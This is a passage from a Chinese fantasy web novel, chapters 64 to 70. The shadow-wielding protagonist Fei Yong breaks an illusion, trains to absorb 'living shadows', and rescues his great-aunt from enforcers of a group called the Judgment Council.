“他想趁机污染你的暗影本源!”苏清月的藤蔓突然缠上费勇的手腕,绿色能量顺着藤蔓注入他的影子,与黑色液体碰撞时发出耀眼的光芒,“用生命能量中和它!”
费勇突然想起母亲笔记里的话:生命能量可克制暗影紊乱。他集中精神引导绿色能量进入影子,果然看到那些黑色液体像冰雪般消融。但就在两者接触的瞬间,他脑海里突然闪过无数混乱的画面:
701研究所的实验室里,个穿白大褂的女人抱着个婴儿,将块玉佩塞进婴儿襁褓;窗外,影界入口的黑色漩涡正在扩大,无数影子伸出触须,抓向惊慌失措的研究人员;判官站在漩涡前,手里举着个发光的红色球体,那球体散发的能量波动,竟和夏艳玲的情绪核心一模一样……
“费勇!”苏清月的呼喊将他拉回现实。他发现自己的影子正在变黑,边缘开始变得透明,像是要被影界吸进去。而那些黑色液体已经爬到了脚边,重新凝成审判长的脸,这次的表情带着胜券在握的残忍:
“看来你看到了有趣的东西。记住这种感觉,当你在影石阵遇到灯塔时,会体验得更清楚——毕竟,是他亲手把情绪核心送进影界的。”
黑色液体突然**,无数能量碎片射向石室各处。老鬼的信息风暴没能完全挡住,有块碎片擦过费勇的脸颊,留下道黑色的血痕。
“走!”老鬼拽着费勇往石室深处跑,那里的墙壁上突然浮现出另一扇暗门,“这是备用通道,直通701研究所旧址!”
费勇摸着脸上的血痕,那地方像被冻伤般冰冷。他回头看了眼正在迅速蔓延的黑色液体,又低头看了看手里那本缺页的《暗影重构术》,突然明白审判长为什么要刻意留下那些禁忌——他不是在威胁,是在诱导。
诱导自己去701研究所,去寻找被撕毁的真相。
第65章:精神牢笼的破局
费勇感觉太阳穴像被两根烧红的钢针狠狠扎入,视野瞬间被撕裂成无数碎片。审判长那黏腻的笑声在耳边炸开,带着金属摩擦般的尖锐:“别急着走啊,小容器——十年前的好戏,该让你亲眼看看了。”
眼前的碎片猛地拼凑起来,刺鼻的消毒水味争先恐后地钻进鼻腔。他站在条长长的走廊里,白墙斑驳发黄,墙角堆着生锈的金属柜,柜门上“701研究所”的字样被腐蚀得只剩轮廓。空气里漂浮着细小的灰粒,在头顶应急灯的绿光下翻滚,像无数只蠕动的虫子。
“这不是……”费勇的喉咙发紧。刚才在石室看到的混乱画面,正活生生地在眼前上演。
走廊尽头的实验室门虚掩着,透出惨白的灯光。他不受控制地走过去,手指触到门把手的瞬间,金属的冰冷顺着指尖爬遍全身。门“吱呀”一声开了,穿白大褂的女人正背对着他,怀里抱着个襁褓,婴儿的哭声细若蚊吟。女人的侧脸在灯光下泛着青灰,正是刚才画面里那个将玉佩塞进襁褓的人——费勇的瞳孔骤然收缩,那眉眼轮廓,像极了母亲笔记里夹着的老照片。
“……必须送走。”女人的声音发颤,手指在婴儿胸口的玉佩上反复摩挲,“影石碎片不能落在判官手里,情绪核心……也不能……”
突然,实验室的窗户“哐当”一声碎裂!狂风卷着黑色的雾气灌进来,雾气里伸出无数影子触须,像贪婪的蛇般缠向女人和婴儿。女人尖叫着将襁褓往通风管道里塞,自己转身扑向那些触须:“快走!别回头!”
费勇眼睁睁看着那些触须刺穿女人的身体,她的白大褂瞬间被染成暗红。而通风管道里的婴儿哭声越来越远,最后消失在黑暗中——那是年幼的自己。
“啧啧,感人的母子情深。”审判长的声音从背后传来,费勇猛地回头,看到对方不知何时换上了身黑色长袍,脸上戴着张青铜面具,面具上刻满扭曲的符文,正是判官的标志性装束。“可惜啊,她到死都不知道,自己拼死保护的‘情绪核心’,最后还是成了影界的养料。”
“你闭嘴!”费勇的影子不受控制地暴涨,在地面上扭曲成愤怒的形状。
“哦?生气了?”假判官轻笑起来,面具下的眼睛闪过紫色的光,“想知道后来发生了什么吗?”他抬手一挥,实验室的景象突然变换——
苏清月被藤蔓缠住吊在房梁上,绿色的生命能量正被黑色液体一点点吸走,脸色苍白如纸;林悦被关在铁笼里,身上的雷霆能量微弱得像垂死的烛火,她正用头疯狂撞击栏杆,额角渗出血迹;夏艳玲蜷缩在角落,怀里紧紧抱着个布娃娃,浑身发抖,连哭声都发不出来。
“看到了吗?”假判官的声音像淬了毒的冰,“你的朋友们,现在就在影界边缘挣扎。只要你把影石交出来,我就放他们走。不然……”他指了指角落里的阴影,那里正缓缓升起个巨大的影子漩涡,“他们会变成影界的一部分,永远陪着那些触须跳舞。”
苏清月艰难地抬起头,嘴唇翕动着,似乎在说“别信他”;林悦的撞击声越来越响,眼神里的愤怒几乎要化作实质;夏艳玲的布娃娃突然动了动,娃娃脸上绣着的笑脸,此刻看着格外刺眼。
费勇的心脏像被只无形的手攥紧。他知道这是幻境,可朋友们痛苦的模样太过真实,影子传来的刺痛也在叫嚣着“这是真的”。影石碎片在影子里发烫,仿佛在催促他交出去——只要交出去,就能结束这一切。
“怎么样?”假判官向前一步,面具几乎贴到他脸上,“影石换朋友,很划算的交易。”
费勇的指尖颤抖着,正要调动影子里的影石碎片,胸口突然传来阵温热。有个毛茸茸的东西从口袋里钻了出来,“啪嗒”一声掉在地上。
是夏艳玲的布娃娃。
娃娃的布料已经洗得发白,一只眼睛的纽扣掉了,用红线草草缝了个补丁。此刻它却像活了过来,身上开始透出淡淡的红光,那光芒越来越亮,映得周围的黑色雾气滋滋作响。
“这是……”费勇愣住了。他明明记得出发
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前把娃娃还给夏艳玲了,它怎么会藏在自己口袋里?
布娃娃突然张开双臂,红光猛地炸开!那些缠绕着苏清月的藤蔓瞬间被红光烧断,她身上的绿色能量重新变得充盈;铁笼的栏杆在红光中融化,林悦的雷霆能量暴涨,在掌心凝成道刺眼的雷矛;夏艳玲抬起头,脸上的泪水还没干,眼睛却亮得惊人,她对着费勇的方向用力点头,小脸上写满了“相信你”。
更神奇的是,苏清月的笑脸在红光中变得清晰,她手里的藤蔓开出朵白色的小花;林悦的笑容带着股狠劲,举着雷矛像是在说“并肩作战”;就连那个穿白大褂的女人,也在红光中转过身,对着费勇露出抹温柔的笑,和记忆里母亲的笑容渐渐重合。
“信任……”费勇喃喃道。夏艳玲的异能是情绪具象化,这红光,是她藏在布娃娃里的信任情绪!她早就偷偷跟了过来,用自己的方式在保护他!
“不——!”假判官发出愤怒的嘶吼,青铜面具上的符文开始剥落,“区区情绪能量,怎么可能破我的精神牢笼!”
“因为你不懂。”费勇猛地抬起头,影子里的黑色漩涡与红光交织,形成道红黑相间的光刃,“暗影或许能吞噬一切,但信任能照亮所有黑暗!”
他挥起影光刃,狠狠劈向假判官。面具应声碎裂,露出审判长惊慌失措的脸。影光刃穿过他的身体,整个幻境像破碎的玻璃般炸裂开来。
费勇踉跄着站稳,发现自己还在石室的备用通道里。老鬼正扶着苏清月,两人脸上都带着后怕;林悦不知何时赶了过来,手里的雷矛还在滋滋作响;而夏艳玲就站在不远处,手里紧紧攥着个空口袋,看到费勇没事,突然哇地一声哭了出来,边哭边说:“我就知道……你能出来的……”
审判长的精神投影已经消散,但他留下的威胁还在空气中回荡。费勇摸了胸口,那里仿佛还残留着布娃娃的温热。
原来,最强大的力量从来不是暗影重构,也不是雷霆掌控,而是彼此之间毫无保留的信任。
第66章:老鬼的修炼指导
701研究所的地下掩体里弥漫着铁锈和尘土的味道,唯一的光源是苏清月用藤蔓撑起的荧光菌,淡绿色的光芒在岩壁上投下晃动的影子。费勇坐在块还算平整的石头上,看着自己的影子在地面微微起伏,刚才精神幻境里的刺痛感还没完全消散,像有细小的电流在皮肤下游走。
“还在想审判长的话?”老鬼突然把个铜制罗盘推到他面前,罗盘边缘刻着密密麻麻的符文,中央的指针是用影石碎片打磨成的,正微微颤动着指向苏清月的方向,“别琢磨那些没用的,你的暗影重构现在就像个没装滤网的漏斗,什么能量都往肚子里装,不出事才怪。”
费勇拿起罗盘,指尖刚碰到铜壳就感到阵冰凉。指针在他触碰的瞬间猛地转向,针尖泛着淡淡的黑气,指向掩体角落的铁门——那里堆放着些生锈的实验器材,影子浓得像化不开的墨。
“这是‘暗影罗盘’,破晓的老物件。”老鬼往嘴里塞了块压缩饼干,含糊不清地解释,“指针发绿就是活影,发黑就是死影。你试试用影子去碰那堆器材。”
费勇依言伸出手,影子像水一样漫过地面,触到铁门影子的刹那,他突然像被烙铁烫到似的缩回手。那感觉和之前吸收影石碎片完全不同,不是温暖的流动,而是带着砂砾般的粗糙,顺着影子往胳膊上爬,留下火辣辣的痛感。
“瞧见没?”老鬼敲了敲罗盘,“死影就是这么回事,全是无生命物体攒下的负能量,吸多了不仅会加重反噬,还会让影子越来越浑浊,最后连你自己都控制不住。”
夏艳玲抱着布娃娃凑过来,小脸上满是好奇。她的影子在地面轻轻晃了晃,碰到费勇的影子时,罗盘指针突然闪过道金光。费勇愣了愣,刚才那阵灼烧感竟然减轻了些,取而代之的是种温和的暖意。
“活影就藏在生物的影子里。”苏清月适时开口,她正在给林悦处理额角的伤口,藤蔓擦过皮肤时泛起微光,“尤其是情绪波动大的生物,喜怒哀乐都会让影子能量变得更纯净。就像艳玲刚才,她对你的信任情绪,让活影带上了治愈力。”
林悦突然嗤笑一声,用没受伤的手抹了把脸:“说这么复杂干嘛?不就是挑好的吃,别乱吃垃圾吗?”她身上的雷霆能量突然炸开道小火花,影子在地面跳了跳,罗盘指针又绿了几分。
费勇看着自己的影子,突然想起《暗影重构术》里的话:“影随心动,质由己择。”他试着集中精神,想象影子边缘长出层细密的滤网,只允许带着暖意的能量通过。当影子再次触到铁门的死影时,那些砂砾般的粗糙感果然被挡住了,只有零星几点微光渗进来,落在地上就消散了。
“有点意思。”费勇眼睛亮了亮。
“这才刚入门。”老鬼突然站起来,拍了拍他的肩膀,“走,带你去个好地方练手。”
深夜的星海学院操场空无一人,月光透过稀疏的云层洒下来,把跑道旁的白杨树影子拉得老长。费勇站在操场中央,看着周围的影子在地面轻轻摇晃,第一次发现原来夜晚的影子有这么多细微的差别——路灯的影子边缘发灰,长椅的影子沉得发僵,而草坪里偶尔窜过的野猫,影子里藏着细碎的金光。
“看到那些金纹了吗?”老鬼蹲在双杠上,像只猫头鹰似的盯着地面,“那是活影里最纯的部分,只有情绪强烈的生物才会有。你试试把影子变成漏斗,只吸那些带金纹的。”
费勇深吸一口气,闭上眼睛。他不去想如何控制影子,而是专注于感受那些流动的能量——草坪里的虫鸣带着微弱的震动,是恐惧的能量;远处宿舍楼上的灯光里,藏着熬夜学生的焦虑;而操场角落的公告栏下,不知是谁遗落的情书,让那里的影子泛着淡淡的粉色,裹着温柔的能量。
“别分心,抓重点!”老鬼突然扔过来块石子,砸在费勇脚边,“想想苏清月的治愈,林悦的愤怒,还有小丫头的信任——你需要的是能和你共鸣的活影!”
共鸣?费勇的心猛地一跳。他想起苏清月藤蔓上的微光,想起林悦雷矛里的决绝,想起夏艳玲布娃娃上的红光——那些画面在脑海里闪过的瞬间,他感到影子突然变得滚烫。
地面上的影子开始旋转,形成个小小的漩涡。那些带着金纹的活影像被磁铁吸引的铁屑,争先恐后地往漩涡里钻。费勇能清晰地感觉到它们在体内流动,不像之前那样横冲直撞,而是温顺地汇入影子里的黑色漩涡,让那里的光芒变得更柔和了些。
“嘿,这小子悟性可以
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啊。”老鬼摸了摸下巴,眼里闪过丝惊讶。
就在这时,操场周围的路灯突然开始闪烁,灯光忽明忽暗,把影子拉得忽长忽短。费勇正觉得奇怪,突然感到地面传来阵强烈的震动——不是来自脚下,而是来自所有的影子!
那些路灯的影子、树木的影子、教学楼的影子,突然像被唤醒的蛇,扭着向他汇聚过来。原本发灰的边缘泛起金边,浓得像墨的影子里浮出无数细小的光点,顺着地面形成条蜿蜒的黑色河流,哗啦啦地注入他脚下的漩涡。
“这是……”费勇惊得说不出话。他能感觉到体内的能量在疯狂膨胀,却没有丝毫不适,反而像干涸的海绵被浸透,每个细胞都在发出满足的喟叹。
老鬼猛地从双杠上跳下来,罗盘在他手里剧烈抖动,指针绿得快要发光:“老天爷……你是天生的暗影容器!普通异能者吸收活影要一点点筛,你倒好,直接能让活影主动找上门!”
费勇的影子在地面铺开,像朵盛开的黑色莲花。那些汇聚而来的活影在他周身形成道能量环,月光穿过环时被折射成五彩的光带,落在脸上暖洋洋的。他突然明白为什么审判长叫他“小容器”,也明白父亲当年为何能开启影界领域——这种与生俱来的吸引力,或许就是暗影本源的秘密。
“糟了!”老鬼突然脸色大变,指着罗盘边缘,那里浮现出密密麻麻的黑点,正从操场四周快速逼近,“这么多活影**,把裁决会的人引来了!是执法者的死影!”
费勇猛地回过神,能量环瞬间收缩回体内。他看向操场入口,那里的黑暗中果然冒出几个模糊的人影,身上的异能抑制器发出微弱的红光,影子在地面拖得笔直,像插在地上的黑旗——全是死影!
林悦的声音突然从耳机里传来,带着电流的杂音:“特调科收到消息,空间切割系审判长亲自带队,你们赶紧撤!我已经在西侧围墙外备好了车!”
费勇的影子在地面绷紧,像蓄势待发的箭。他看了眼老鬼,对方正快速收起罗盘,冲他比了个“走”的手势。月光下,那些汇聚而来的活影还在脚下轻轻涌动,仿佛在催促他快点行动。
原来成为暗影主宰的路,不只是吞噬和献祭,更要学会筛选与共鸣。
第67章:裁决会的清剿名单
林悦的越野车在城郊的废弃工厂外急刹,轮胎摩擦地面的刺耳声惊飞了树梢的夜鸟。费勇推开车门时,还能闻到衣服上残留的操场草屑味,刚才为了甩开执法者,老鬼硬是拽着他钻了三次下水道,现在鼻腔里全是铁锈和淤泥的腥气。
“进来再说。”林悦扯掉耳机,警服外套上还沾着几块水泥灰,她一脚踹开工厂生锈的铁门,门轴发出“嘎吱”的哀嚎,“特调科的临时safehouse,信号***刚启动,裁决会的人追踪不到这里。”
工厂车间里堆着些破旧的机床,苏清月正用藤蔓将夏艳玲缠在机床的铁架上——不是捆绑,而是做成了个简易的吊床,小姑娘抱着布娃娃睡得正香,睫毛上还挂着泪珠。看到费勇进来,苏清月放下手里的急救箱,藤蔓在她指尖绕了个圈:“艳玲刚才能量透支晕过去了,不过脉搏很平稳。”
老鬼已经在车间角落支起了笔记本电脑,屏幕蓝光映得他脸上沟壑分明。费勇走过去时,正看到他用两根手指飞快地敲击键盘,屏幕上滚动的乱码突然定格,弹出个红色的加密文件框,右下角标着“裁决会·清剿行动”。
“这是什么?”费勇的影子突然在地面绷紧,像被什么东西蛰了一下。
老鬼没说话,只是点了下解密按钮。文件框散开,露出里面的名单,打印体的名字排列得整整齐齐,每个名字后面都跟着一行小字。费勇的目光扫过第一行,心脏猛地缩成一团——
“张桂兰,女,68岁,住址:望江区幸福路37号。关联:费勇的远房姨婆,十年前抚养人之一。”
“李浩然,男,20岁,住址:星海学院男生宿舍302室。关联:费勇的同班同学,曾借笔记三次。”
“陈萌萌,女,19岁,住址:青禾堂后院宿舍。关联:苏清月的助手,曾为费勇包扎伤口。”
名单很长,足足有十七个名字,有他认识的,也有只有一面之缘的,甚至还有去年帮他修过自行车的修车铺老板。每个人的关联备注都精准得可怕,像是有人拿着放大镜跟踪了他整整一年。
“这群混蛋!”林悦突然一拳砸在旁边的机床,金属表面凹下去一块,电弧在她指节间噼啪作响,“他们连普通老太太都不放过!”
苏清月的脸色也白了,她指着名单中间的名字:“这是青禾堂的护工,她只是个普通人,连异能者都不是……”
“判官的惯用伎俩。”老鬼关掉文件,从怀里掏出个铁皮烟盒,抖出最后一根烟叼在嘴里,“他知道硬抢影石打不过你,就想从软肋下手。这些人是你的‘情绪锚点’,只要他们出事,你的暗影能量就会失控——到时候不用他动手,影界能量就能把你撕碎。”
费勇的指尖在名单上张桂兰的名字上摩挲,纸页的粗糙感硌得他生疼。姨婆的脸在脑海里浮现,去年寒假去看她时,老人家还颤巍巍地塞给他一兜煮好的板栗,说:“小勇啊,外面要是受了委屈就回家,姨婆给你包饺子。”
影子突然剧烈翻涌,黑色漩涡在地面旋转,车间里的机床影子被卷进去,瞬间绞成碎片。费勇能感觉到一股陌生的情绪在胸腔里炸开,不是愤怒,不是恐惧,而是一种更尖锐的东西,像要把他的理智都烧化——
“他们什么时候出发的?”他的声音很低,却带着金属摩擦般的质感。
林悦看了眼腕表:“特调科的线人十分钟前发来的消息,执法者分三队行动,最先出发的那队已经离开裁决会总部,目标应该是……”她顿了顿,艰难地吐出,“望江区,张桂兰老人。”
望江区距离这里有四十公里,就算现在开车过去,最少也要五十分钟。费勇猛地转身,影子顺着地面爬到车间门口,在铁门上凝成个黑色的漩涡——那是影遁的前兆。
“你想干嘛?”林悦一把抓住他的胳膊,电弧顺着指尖窜过来,“执法者肯定带了异能抑制器,你一个人去就是送死!”
“那也不能看着姨婆出事。”费勇甩开她的手,影子漩涡的转速越来越快,“老鬼,能定位执法者的位置吗?”
老鬼叹了口气,重新打开电脑:“我试试用城市监控追踪,但他们用了信号屏蔽……等等!”
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他突然指向屏幕,“有个执法者的影子出现在百货公司的监控里,他的异能抑制器在发光!”
屏幕上的监控画面有些模糊,但能看到个穿黑色风衣的***在自动扶梯上,领口露出的皮肤有块黑色印记。他的影子拖在梯级上,边缘泛着灰黑色的光晕——和之前停车场遇到的执法者一模一样。
“他在往望江区移动。”老鬼放大画面,“从步伐频率看,最少有五个人,带队的……”他突然倒吸一口凉气,“是空间切割系的审判长!”
费勇的影子突然传来刺痛,比任何一次预警都要强烈。他想起上次在操场遇到的那个审判长,空间切割线撕开影盾时的冰冷触感,还有他面具下那双毫无温度的眼睛。
“我去开车!”林悦已经冲向越野车,警灯在暗处闪了闪,“苏清月,你用藤蔓联系青禾堂,让他们把人转移到地下密室!老鬼,你继续追踪执法者动向,我们路上保持联系!”
苏清月点头,指尖的藤蔓突然疯长,穿过车间的窗户,消失在夜色里。她看向费勇,眼神里带着担忧:“小心点,审判长的空间切割能直接斩断能量连接,别让影子离你太远。”
费勇没说话,只是拍了拍她的肩膀。影子漩涡已经覆盖了半扇铁门,他能感觉到周围的暗影能量在汇聚,活影里的金纹像细小的火焰在跳动。
就在他准备踏入漩涡的瞬间,夏艳玲突然从吊床上坐起来,布娃娃掉在地上。小姑娘揉着眼睛,看到费勇的影子,突然奶声奶气地喊:“影子……在哭。”
费勇低头看去,黑色漩涡的边缘果然在微微颤抖,像有什么东西要溢出来。他蹲下身,捡起布娃娃递给她,指尖碰到娃娃的补丁时,突然感到一阵温暖——那是夏艳玲藏在里面的信任情绪。
“等我回来。”他轻声说。
这次,影子没有刺痛,只是温顺地裹住他的脚踝,像在点头。
当越野车冲出工厂时,费勇看着窗外**的路灯,突然握紧了拳头。判官以为普通人是他的软肋,却不知道,这些需要守护的人,才是他最强的铠甲。
第68章:影遁千里的救援
越野车的引擎在寂静的街道上发出低吼,林悦猛打方向盘,轮胎擦过路面的火花映在费勇脸上。他盯着窗外飞速**的路灯,影子在座椅下方不安地扭动,像条急于挣脱束缚的蛇。
“还有三十公里。”林悦的声音带着电流的滋滋声,她正用特调科的加密频道说话,“老鬼,执法者到哪了?”
耳机里传来老鬼含混的回应,夹杂着键盘敲击声:“刚过望江大桥,审判长的影子能量波动很强……费勇,他们可能要提前动手!”
费勇的心脏骤然缩紧。他猛地推开车门,夜风带着凉意灌进衣领,影子顺着地面蔓延出去,触到路灯杆的影子时,传来熟悉的能量共鸣。
“你疯了?”林悦一脚踩下刹车,轮胎摩擦声刺耳,“现在跳车?”
“开车跟不上。”费勇的影子在地面铺开,与路灯的影子连成一线,形成道黑色的光带,“我用影遁先走,你们随后接应。”
苏清月突然从后座递来个玻璃瓶,里面装着淡绿色的液体,散发着草木清香:“这是青禾堂的凝神剂,能暂时稳住影子能量,过度使用影遁会伤到本源。”
费勇接过瓶子一饮而尽,清凉的液体顺着喉咙滑下,影子的躁动果然平息了些。他冲苏清月点头,转身踏入路灯的影子里——
世界瞬间被拉长成扭曲的线条。
影遁的瞬间,费勇感觉自己像被塞进了滚筒洗衣机,天旋地转间,只有影子传来的灼痛感无比清晰。这和之前短距离的瞬移不同,当他主动将多个物体的影子连接成桥时,能量的流动变得狂暴而混乱,像是在强行缝合断裂的电线。
“砰!”
他摔在一片冰冷的地面上,周围是闪烁的霓虹灯。抬头看去,才发现自己落在了一块巨大的广告牌后面,广告牌上明星的笑脸正对着街道,影子在地面铺展,像块黑色的地毯。
这是望江区的商业步行街,距离姨婆家还有五公里。
费勇撑着地面站起来,膝盖一阵发软。影子在他脚边微微透明,刚才那下跨街影遁几乎抽走了三成能量,喉咙里涌上淡淡的血腥味。
“不能停。”他咬了咬牙,集中精神看向不远处的交通信号灯。
信号灯的影子细长而稳定,像根黑色的柱子。费勇操控自己的影子缠上去,这次学乖了,没有直接进行长距离跳跃,而是像荡秋千一样,借着信号灯的影子往前荡出十多米,落在一辆停在路边的公交车顶上。
公交车的影子宽大而厚重,里面混杂着乘客留下的各种情绪能量——疲惫、焦急、喜悦……费勇调动影子边缘的“滤网”,只吸收那些带着金纹的活影,瞬间感觉流失的能量补充了些许。
“有点东西。”他低声自语,这才明白老鬼说的“活影滋养”是什么意思。
接下来的路程,费勇像个黑色的幽灵,在城市的阴影中穿梭。他踩着路灯的影子前进,借着广告牌的影子跳跃,甚至钻进下水道井盖的影子里,在黑暗的管道中短暂穿行。每一次转换影子,都像踩在烧红的铁板上,影子传来的灼痛感越来越强,视线开始出现模糊的黑斑。
“还有最后一公里。”耳机里传来林悦的声音,带着明显的喘息,“我刚过第三个路口,遇到红灯了!”
费勇正站在一栋居民楼的墙头上,下面就是幸福路。他能看到37号那栋老式单元楼,门口的路灯下,站着几个穿黑色风衣的人影——执法者。
其中一个人影格外显眼,身材高大,手里把玩着一把银色的短刀,刀刃在路灯下泛着冷光。费勇的影子突然剧烈刺痛,比任何时候都要强烈——是空间切割系的审判长。
他看到审判长抬起手,短刀在空中划出个诡异的弧度,一道几乎看不见的透明线条射向单元楼的铁门!
“不好!”
费勇想也没想,纵身从墙头跃下,同时将周围所有能接触到的影子——垃圾桶的、自行车的、晾衣绳的——全部汇聚起来,在身前编织成一面巨大的影盾,朝着单元楼冲去。
影遁的距离超出了极限,落地时费勇感觉膝盖像是碎了一样,剧痛让他眼前发黑。但他不敢停下,拖着受伤的腿,用尽全力将影盾往前推。
“嗤啦——”
透明的切割线撞上影盾,发出布料被撕裂的声音。影盾表面瞬间出现一道裂缝,黑色的能量像潮水般涌出来,但终究是挡住了!
单元楼的铁门完好无损。
审判长显然愣了一下,转过头,面具下的眼睛闪过一丝惊讶:“比预想中来得快。”
费勇靠在影盾后面,剧烈地喘息着。影子已经变得半透明,像蒙了一层薄纱,灼痛感从四肢百骸传来,几乎要将他吞噬。但他死死盯着
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审判长,声音因为疼痛而发颤,却带着不容置疑的坚定:
“你的对手是我,别碰里面的人。”
就在这时,单元楼的门突然开了条缝,张桂兰的脑袋探出来,手里还拿着个擀面杖,显然是被外面的动静吵醒了。老太太看到费勇,又看了看那些黑衣人,愣了愣:“小勇?这是……你惹麻烦了?”
费勇的鼻子突然一酸。他想起小时候被邻居家的狗追,也是姨婆拿着擀面杖把狗赶跑的。
“没事,姨婆。”他扯出个比哭还难看的笑容,“你先进去,把门锁好,我马上就来。”
审判长突然笑了,笑声像生锈的铁片在摩擦:“真是感人。可惜,你今天护不住她。”他抬起短刀,这次的目标不再是门,而是费勇,“你的影子能量快耗尽了吧?让我看看,影石碎片在你身体里,会碎成什么样。”
透明的切割线再次袭来,比刚才更快、更锋利。费勇的影盾已经布满裂缝,根本挡不住。
就在这千钧一发之际,一道耀眼的雷光从街角射来,精准地击中审判长的短刀,将切割线震偏!
“抱歉,来晚了!”林悦的声音带着怒火,越野车的轰鸣声由远及近,“裁决会的杂碎,欺负到特调科头上了?”
苏清月从副驾驶座探出头,指尖的藤蔓像绿色的闪电般窜出,缠向那些执法者,瞬间将他们捆了个结实。
审判长看着突然出现的支援,又看了看费勇半透明的影子,突然冷笑一声:“算你们运气好。”他挥刀斩断藤蔓,转身消失在夜色里,“下次,就没这么容易了。”
执法者们见状,也纷纷挣脱藤蔓,跟着撤退。
费勇再也支撑不住,影盾“哗啦”一声消散,他腿一软,跪倒在地上。影子在他身下缩成一团,几乎要完全消失。
“费勇!”苏清月立刻跑过来,藤蔓缠绕在他手腕上,绿色的生命能量源源不断地注入他体内,“别硬撑,放松!”
林悦踹了一脚倒地的执法者,走过来蹲下身,难得没有骂脏话,只是皱着眉:“逞什么英雄?不知道留手吗?”
费勇看着单元楼紧闭的门,又看了看身边的两人,突然笑了。虽然浑身剧痛,影子也虚弱得厉害,但心里却有种前所未有的踏实。
“因为……”他低声说,声音轻得像耳语,“那是我姨婆啊。”
第69章:审判长的真实目的
空间切割的寒光擦着费勇的耳际掠过,将身后的院墙劈出一道整齐的裂缝。他借着影遁的惯性滚到路灯后面,影子在地面剧烈抽搐,像条被踩住尾巴的蛇——刚才那下闪避几乎抽干了他剩余的暗影能量,喉咙里涌上的腥甜被他硬生生咽了回去。
“别急着躲。”审判长的声音裹着寒意落在耳边,他把玩着短刀,刀刃上的空间涟漪像水纹般扩散,“你比上次快了0.3秒,看来影石融合得不错。”
费勇扶着灯柱站起身,指尖的影刃时隐时现。他注意到审判长的目光始终锁定在自己身上,那些本该扑向远亲家大门的执法者,此刻竟像雕塑般站在原地,显然是得到了“不插手”的命令。
“清剿名单是假的。”费勇的声音有些发哑,影子在脚下慢慢凝聚,“你们真正的目标是我。”
“总算反应过来了。”审判长嗤笑一声,短刀突然指向费勇的影子,“判官说,你的暗影能量很特别,像是……未觉醒的本源。”他的刀身泛起银光,周围的空间开始出现细密的裂痕,“今天,正好试试你的斤两。”
话音未落,数十道透明的切割线突然从四面八方袭来,织成一张密不透风的网。费勇瞳孔骤缩,暗影能量在体内疯狂翻涌,影子猛地铺开化作巨盾——“砰!”切割线撞在盾面上,发出玻璃破碎的脆响,黑色的能量碎片像流星雨般坠落。
“比上次的盾硬了三成。”审判长挑眉,身影突然在原地模糊,下一秒出现在费勇身后,“但还不够。”
短刀直刺费勇后心,却在触及衣料的前一瞬被缠上脚踝的影绳绊倒。费勇借着他失衡的瞬间转身,影刃带着破空声劈向他的脖颈,却被审判长用刀背挡住——两厢碰撞的刹那,费勇突然感到一股奇异的吸力,对方的影子竟在悄无声息地吞噬自己的暗影能量!
“这招怎么样?”审判长笑得诡异,“空间切割不仅能劈东西,还能‘引流’呢。”
费勇的影子以肉眼可见的速度变得透明,连带着他的手臂也开始发麻。他这才惊觉,刚才审判长故意露出破绽,就是为了让他主动接触——这根本不是切磋,是在逼他透支能量!
“你想逼我用影界领域?”费勇猛地后撤,影绳骤然收紧缠住审判长的手腕,“判官就这么急着知道影石的融合进度?”
审判长挣开影绳,手腕上留下一圈黑色的印记,很快又消失不见。“谈不上急。”他缓步走向费勇,每一步都踩在对方的影子边缘,“只是好奇,当年那个连影子都控不住的小鬼,现在能撑多久。”
这句话像根针,刺破了费勇刻意维持的冷静。他猛地想起十年前那个雨夜,父母留下的最后画面就是被这种空间裂痕吞噬,而眼前这个审判长的招式,和记忆里的裂痕如出一辙。
“你认识我父母?”费勇的影子突然暴涨,黑色的能量几乎要将路灯的光芒吞噬,“十年前的觉醒潮,你也在场?”
审判长的动作顿了顿,面具下的眼神闪过一丝复杂,随即又被冷笑取代:“问那么多干嘛?打赢我,或许会告诉你。”他突然抬手,短刀在空中划出个圆环,圆环内的空间开始扭曲,“接我这招试试——空间坍缩。”
费勇只觉一股巨力拽着自己往圆环里坠,影子被拉扯得变了形。他咬碎舌尖,借着刺痛逼自己清醒,左手按向地面——暗影能量顺着指尖涌入地下,与周围所有物体的影子连成一片。
“影·缚!”
无数影绳从地面钻出,像群受惊的蛇,疯了般缠向审判长。这招本是用来束缚敌人,此刻却被费勇玩出了新花样——影绳在接触到空间圆环的瞬间突然炸开,黑色的能量碎片形成一道屏障,竟暂时挡住了坍缩的吸力。
“有点意思。”审判长眼中闪过惊讶,随即又化为冷意,“但还不够。”
就在这时,费勇突然笑了。他故意松开对影绳的控制,任由空间吸力将自己拽过去,同时右手的影
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刃凝聚起最后的暗影能量。审判长以为他放弃抵抗,刚要收招,却见费勇的影子突然离体,化作一道黑箭射向自己的影子——
“你以为我要复制空间切割?”费勇的声音带着喘息,却透着狡黠,“我只是想告诉你,暗影能量不止能复制异能。”
黑箭撞上审判长的影子,瞬间化作无数细小的影丝钻进去。审判长脸色骤变,发现自己的影子竟开始不听使唤,短刀的空间圆环也随之不稳。
“这是……影子寄生?”他又惊又怒,挥刀劈向自己的影子,却只劈到一片虚空。
费勇趁机后退,靠在墙上大口喘气。他的影子已经透明得几乎看不见,左臂的皮肤泛起诡异的黑纹——这是寄生他人影子的反噬。但他不在乎,因为刚才寄生的瞬间,他清晰地捕捉到审判长记忆碎片里的画面:判官坐在王座上,手里把玩着半块影石,而他身后站着的人,轮廓竟和老鬼有几分相似。
“看来你知道的不少。”审判长强行驱散影丝,看费勇的眼神像在看个棘手的猎物,“今天就到这,下次见面,希望你还能笑得出来。”
他转身挥刀劈开空间,裂缝中传来判官低沉的声音:“回来。”审判长踏入裂缝前,留下最后一句,“对了,提醒你一句——别太相信身边的人。”
空间裂缝闭合的瞬间,林悦的越野车终于碾着碎石冲了过来。苏清月跳下车就奔向费勇,绿藤缠上他的手臂,却被那黑纹烫得缩了回去。
“这是怎么回事?”苏清月的声音带着惊慌。
费勇看着手臂上蔓延的黑纹,又想起审判长最后那句话,眼神沉了下来。他没回答,只是看向远亲家紧闭的大门,低声道:“先离开这里,有些事,得回去问老鬼。”
影子在他脚下微弱地动了动,像在呼应他的心思。费勇知道,这场看似结束的交锋,其实才刚刚开始——判官想要的不只是影石,恐怕还有藏在他身上的,连他自己都不知道的秘密。
第70章:青禾堂的支援
费勇失去意识前的最后画面,是苏清月藤蔓上渗出的晶莹露珠。那些露珠落在他手臂的黑纹上,发出滋滋的轻响,像冰遇到了火。他想开口说些什么,喉咙却像被灌满了水泥,只能任由黑暗漫过头顶。
